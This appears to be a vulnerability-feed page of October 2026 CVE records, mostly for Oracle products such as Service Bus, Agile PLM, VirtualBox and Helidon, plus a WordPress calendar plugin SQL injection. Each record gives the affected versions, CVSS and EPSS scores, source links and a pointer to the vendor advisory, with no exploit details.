Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-87363
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87363).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87363&date=2026-10-25).
Sources:
NVD CVE-2026-87363: https://nvd.nist.gov/vuln/detail/CVE-2026-87363
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87363&date=2026-10-25
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).
https://kevwire.com/record/CVE-2026-87364
Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87364).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87364&date=2026-10-25).
Sources:
NVD CVE-2026-87364: https://nvd.nist.gov/vuln/detail/CVE-2026-87364
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87364&date=2026-10-25
Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-101593
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).
CVSS 8.3 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101593).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101593&date=2026-10-25).
Sources:
NVD CVE-2026-101593: https://nvd.nist.gov/vuln/detail/CVE-2026-101593
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101593&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-101594
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101594).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101594&date=2026-10-25).
Sources:
NVD CVE-2026-101594: https://nvd.nist.gov/vuln/detail/CVE-2026-101594
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101594&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-101596
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101596).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101596&date=2026-10-25).
Sources:
NVD CVE-2026-101596: https://nvd.nist.gov/vuln/detail/CVE-2026-101596
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101596&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).
https://kevwire.com/record/CVE-2026-101598
Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.20. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101598).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101598&date=2026-10-25).
Sources:
NVD CVE-2026-101598: https://nvd.nist.gov/vuln/detail/CVE-2026-101598
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101598&date=2026-10-25
Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.20. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).
https://kevwire.com/record/CVE-2026-101599
Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.20. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101599).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101599&date=2026-10-25).
Sources:
NVD CVE-2026-101599: https://nvd.nist.gov/vuln/detail/CVE-2026-101599
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101599&date=2026-10-25
Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.20. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-101602
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).
CVSS 8.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101602).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101602&date=2026-10-25).
Sources:
NVD CVE-2026-101602: https://nvd.nist.gov/vuln/detail/CVE-2026-101602
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101602&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security).
https://kevwire.com/record/CVE-2026-101603
Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security). (Oct 20, 2026).
Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security).  Supported versions that are affected are 7.5.0, 7.5.1, 7.6.0, 7.7.0, 7.8.0 and 8.0.1. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Communications Unified Inventory Management.  Successful attacks of this vulnerability can result in takeover of Oracle Communications Unified Inventory Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101603).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101603&date=2026-10-25).
Sources:
NVD CVE-2026-101603: https://nvd.nist.gov/vuln/detail/CVE-2026-101603
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101603&date=2026-10-25
Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security).  Supported versions that are affected are 7.5.0, 7.5.1, 7.6.0, 7.7.0, 7.8.0 and 8.0.1. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Communications Unified Inventory Management.  Successful attacks of this vulnerability can result in takeover of Oracle Communications Unified Inventory Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security).
https://kevwire.com/record/CVE-2026-101604
Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security). (Oct 20, 2026).
Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security).  Supported versions that are affected are 7.5.0, 7.5.1, 7.6.0, 7.7.0, 7.8.0 and 8.0.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Unified Inventory Management.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Communications Unified Inventory Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101604).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101604&date=2026-10-25).
Sources:
NVD CVE-2026-101604: https://nvd.nist.gov/vuln/detail/CVE-2026-101604
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101604&date=2026-10-25
Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security).  Supported versions that are affected are 7.5.0, 7.5.1, 7.6.0, 7.7.0, 7.8.0 and 8.0.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Unified Inventory Management.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Communications Unified Inventory Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-grpc-server).
https://kevwire.com/record/CVE-2026-101579
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-grpc-server). (Oct 20, 2026).
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-grpc-server).  Supported versions that are affected are 3.0.0-3.2.21. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP/2 to compromise Helidon.  While the vulnerability is in Helidon, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Helidon accessible data as well as  unauthorized read access to a subset of Helidon accessible data. CVSS 3.1 Base Score 7.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101579).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101579&date=2026-10-25).
Sources:
NVD CVE-2026-101579: https://nvd.nist.gov/vuln/detail/CVE-2026-101579
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101579&date=2026-10-25
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-grpc-server).  Supported versions that are affected are 3.0.0-3.2.21. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP/2 to compromise Helidon.  While the vulnerability is in Helidon, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Helidon accessible data as well as  unauthorized read access to a subset of Helidon accessible data. CVSS 3.1 Base Score 7.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-common-mapper).
https://kevwire.com/record/CVE-2026-101583
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-common-mapper). (Oct 20, 2026).
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-common-mapper).  Supported versions that are affected are 4.0.0-4.5.5 and 27.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Helidon accessible data as well as  unauthorized read access to a subset of Helidon accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Helidon. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L).
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101583).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101583&date=2026-10-25).
Sources:
NVD CVE-2026-101583: https://nvd.nist.gov/vuln/detail/CVE-2026-101583
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101583&date=2026-10-25
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-common-mapper).  Supported versions that are affected are 4.0.0-4.5.5 and 27.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Helidon accessible data as well as  unauthorized read access to a subset of Helidon accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Helidon. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L).

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-cors).
https://kevwire.com/record/CVE-2026-101585
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-cors). (Oct 20, 2026).
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-cors).  Supported versions that are affected are 3.0.0-3.2.21. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon.  While the vulnerability is in Helidon, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Helidon accessible data as well as  unauthorized read access to a subset of Helidon accessible data. CVSS 3.1 Base Score 7.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101585).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101585&date=2026-10-25).
Sources:
NVD CVE-2026-101585: https://nvd.nist.gov/vuln/detail/CVE-2026-101585
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101585&date=2026-10-25
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-cors).  Supported versions that are affected are 3.0.0-3.2.21. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon.  While the vulnerability is in Helidon, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Helidon accessible data as well as  unauthorized read access to a subset of Helidon accessible data. CVSS 3.1 Base Score 7.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 do not sanitise and escape a parameter before using it in...
https://kevwire.com/record/CVE-2026-102499
The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 do not sanitise and escape a parameter before using it in... (Oct 21, 2026).
The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 do not sanitise and escape a parameter before using it in a SQL statement, which allows authenticated users with Subscriber-level access and above to append additional SQL queries into already existing queries and extract sensitive data from the database.
